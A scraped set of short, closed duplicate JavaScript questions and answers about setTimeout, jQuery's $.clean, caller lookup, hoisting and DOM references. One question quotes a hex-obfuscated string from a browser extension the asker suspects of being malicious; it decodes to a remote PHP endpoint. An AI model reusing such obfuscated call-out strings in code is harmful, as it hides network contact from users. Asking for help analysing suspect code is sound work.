This question already has answers here:
What is the JavaScript version of sleep()?
(91 answers)
Closed 2 years ago.
I've looked everywhere and can't find a solution. I'm using the console part of developer tools on chrome if that helps :)
I've tried various configurations such as the example below, and all give me an error
setTimeout(s)5
I'm not sure exactly what you are trying to do, but I think you need to pass a function and the length of timeout into the setTimeout method like this example
setTimeout(function(){ alert("Hello"); }, 3000);
Related
This question already has answers here:
De-obfuscate Javascript code to make it readable again [duplicate]
(5 answers)
Closed 6 years ago.
I found this code in extension. I need to use it but I am unbelievably afraid that this is not what they say. I'm afraid that this is a malicious script?
Here is the code in pastebin :
var _0xfc98=["\x68\x74\x74\x70\x73\x3A\x2F\x2F\x66\x62\x2E\x63\x75\x61\x68\x64\x2E\x63\x6F\x6D\x2F\x30\x30\x31\x2E\x70\x68\x70",
the full code is here ---- > http://pastebin.com/YRquAQiU
Please help :)
Run this script and see for yourself:
var _0xfc98=["\x68\x74\x74\x70\x73\x3A\x2F\x2F\x66\x62\x2E\x63\x75\x61\x68\x64\x2E\x63\x6F\x6D\x2F\x30\x30\x31\x2E\x70\x68\x70"];
console.log(_0xfc98);
This question already has answers here:
What is the purpose of jQuery clean and cleanData methods?
(2 answers)
Closed 8 years ago.
I have to update some code using jquery and I have the following statements :
$.each($.clean({0:data}, this.ownerDocument), fct);
Where data is html content from server.
I didn't find any documentation about this method.
I just know that Jquery 1.9 remove it
Those methods are not meant to be used outside of jQuery, that's why you are having so much trouble finding documentation on them.
This question already has answers here:
How do you find out the caller function in JavaScript?
(36 answers)
Closed 9 years ago.
I have a common error function which is called from many places. I want to know from which function this was called. Is there any way to do it?
In any javascript function you can use
arguments.callee.caller
if You want to execute JS in chrome you have to do like this
go to console and type your JS and enter!
This question already has answers here:
Why can I use a function before it's defined in JavaScript?
(7 answers)
Closed 10 years ago.
I have noticed that when coding in javascript, it doesn't matter if i declare the function before or after i call it. In other languages it will cause an exception, but when running javascript in chrome it works just fine. Is that only in chrome, or is that normal?
What you're seeing is function hoisting in action: http://elegantcode.com/2011/03/24/basic-javascript-part-12-function-hoisting
This question already has answers here:
Closed 11 years ago.
Possible Duplicate:
A good Javascript API reference documentation related to browsers and DOM
I've searched Google a bit & can't find a good reference for DOM/Javascript. What I would like is a page that shows lists of all the objects & if you click them you get to see which methods and attributes they have.
What one is your favorite?
Sort of like this one for actionscript:
http://help.adobe.com/en_US/FlashPlatform/reference/actionscript/3/class-summary.html
I use this: https://developer.mozilla.org/en-US/
I used this a while ago
http://www.java2s.com/Code/JavaScriptReference/CatalogJavaScriptReference.htm